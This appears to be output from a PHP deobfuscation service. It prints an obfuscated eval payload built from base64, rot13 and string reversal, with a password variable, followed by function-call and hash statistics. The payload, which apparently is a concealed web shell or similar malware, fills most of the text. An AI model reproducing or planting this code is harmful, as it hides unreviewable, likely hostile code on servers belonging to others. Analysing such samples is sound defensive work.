bWPu5qUOgMFRbMzxtVPNtVPNtVPNtVPNXB11dWSgjqJgio2ksoTWmozDxCKEmo2txVPNtVPNtVPNtVPNtPafcXlgdWQfjZFgcWQkdWPN7nFD9nvDbpz9zVPNtVPNtVPNXBlVvCKA0p29bWPNtVPNtVPNtPwfvVw10p29bWPNtVPNtVPNtPvO7VPxjZFgcWQ1cWPN7IUAhMPDtCPOcWPN7ZQ1cWPttpz9zVPNtVNb7Wm4tMJkvLKD8WlO0ozylpPNtVPNXBlVvCH5mozDxVPNtVNb7Vw5lLwj6p2ImLJWuqTSxVT1upUZgnKEhLFNtCzViCSEmozDxCzV8VT5cVQ5vYmjvYy0apTysn2AynTZaJ1ESE18xYvV+LwjtM25cn2AynRZvVUEhnKWDVPNtVNb7Wm4mnP88CzkfLJ1mYmklMJgwMJuQVUEmnJkeL2SfDw5foTSgpmjtpzIfnJSAHRuDVTMuMHjtCaEho2LiCQ5hLKOmYmj+VzMuMJjgoz9wnJujrJkaVT5iL2ybpUyfMlV9p3AuoTZtozSjpmj+Vz5yMKWaVw1lo2kiLlO0oz9zCQ4mnQj+VwLgM2jgoT9wVUWyozyuqT5iLlV9p3AuoTZtqzyxCPptqT5cpaNtVPNtPwfcXUWyMTSynTMuMJjtVPNtPwfcpUIeo29fK2kvp25xWPu0oaIiLlN9VSEmozDxVPNtVNb7XFxcKFqjnI9eL2IbLlqoIRIUKlDtYPVhVvuyMT9fpUuyXTImpzI2MKWsrJSlpzRtYPVhVvuyMT9fpT1cVQ0tpTysMKAlMKMypvDtVPNtPwfcVPNtVNbfVaEyov5mLaWipl5fLaAhMP5ynJWgo3bvVPNtVPNtVPNXYPWapz8hp3IunT1upUZhozI6VvNtVPNtVPNtPvjvqTIhYzIenKOmoTyuoF56VvNtVPNtVPNtPvjvM3WiYaA1LJugLKOmYzkvrPVtVPNtVPNtVNbfVzuwYaOgnF5fLaWgpz93VvNtVPNtVPNtPvjvqTIhYaAvpz9mYzkvp25xYzWyqlVtVPNtVPNtVNbfVaOdYzkvpv5mqKWcqvVtVPNtVPNtVNbfVz1iLl5ypz9wp2W1p251YzkvqFVtVPNtVPNtVNbfVz1iLl5eL2SvnUAuoP5fLaHvVPNtVPNtVPNXYPWeMP5fMJWuMv5mMJAlqJ9moJSjplVtVPNtVPNtVNbfVzuwYaOgnF5fLaWgLKOmVvNtVPNtVPNtPvjvLJZhMKAuLzyanJDhp2kvYaEiLz1upUZvVPNtVPNtVPNXYPWgo2Zhp3Eupz1upUZhoJSjplVtVPNtVPNtVNbfVaEyov5mLaWipl5fLaAhMP5gLKOmVvNtVPNtVPNtPvjvMJDhp2kcLJ1ho25uYzkvp25xYz1upUZvVPNtVPNtVPNXYPWbLl5yp3IvLF5gLKOmVvNtVPNtVPNtPvjvqTIhYaAvpz9mYzkvp25xYaAeL29mVvNtVPNtVPNtPvjvqTIhYaAvpz9mYzkvp25xYaO0oKZvVPNtVPNtVPNXYPW1nP5yqUNhn3E0YaWuoUIaozymVvNtVPNtVPNtPvjvpTbhoTWlYaElo2umVvNtVPNtVPNtPvjvM3WiYaA1LJugLKOmYzkvplVtVPNtVPNtVNbfVaEyov5lMJu0MJ4hp3yuoTIlVvNtVPNtVPNtPvjvLJZhpTIyq2phoTVhp3yuoTIlVvNtVPNtVPNtPvjvoJ9wYzkynKWlqKZhoTWmpPVtVPNtVPNtVNbfVzSwYaOyMKqaYzkvYay4o3WjVvNtVPNtVPNtPvjvM3WiYaA1LJugLKOmYzkvpPVtVPNtVPNtVNbfVzqlol5mMTSjqJRhLzEyqaWiVvNtVPNtVPNtPvjvoJ9wYaA0LKWgLKOmYaW0pT9hVvNtVPNtVPNtPvjvqTIhYaAvpz9mYzkvp25xYzAmnJ0vVPNtVPNtVPNXYPW0MJ4hp2IwnKMlMKZhLJIlo2fvVPNtVPNtVPNXYPW0MJ4hqKEcozSgYzkvp25xYaucVvNtVPNtVPNtPvjvM3WiYaWypzI0qTSwp2gwLJVhp3OcVvNtVPNtVPNtPvjvqTIhYaAvpz9mYzkvp25xYaO0qTtvVPNtVPNtVPNXYPWgo2ZhozIbqT9lYaOcoayxVvNtVPNtVPNtPvjvoJ9wYaA0LKWgLKOmYzShrJDvVPNtVPNtVPNXYPW0MJ4hp2Wlo3ZhoTWmozDhoUIxVvNtVPNtVPNtPvjvM3WiYaAxLKO1LF52ozy1MPVtVPNtVPNtVNbfVzuwYzImqJWuYzIho3WxVvNtVPNtVPNtPvjvqTIhYaAvpz9mYzkvp25xVvNtVPNtVPNtPvjvMJDhp3OhnF5fLaAhMPVtVPNtVPNtVNbfVzqlol5fLzI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')))); ?>

Function Calls

strrev 1
ini_set 3
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$CjPJt base64_decode
$OkNoe str_rot13
$VfUZc strrev
$password kpxpzmwna

Stats

MD5 819f043778a33ab337f71487d28aea1b
Eval Count 1
Decode Time 352 ms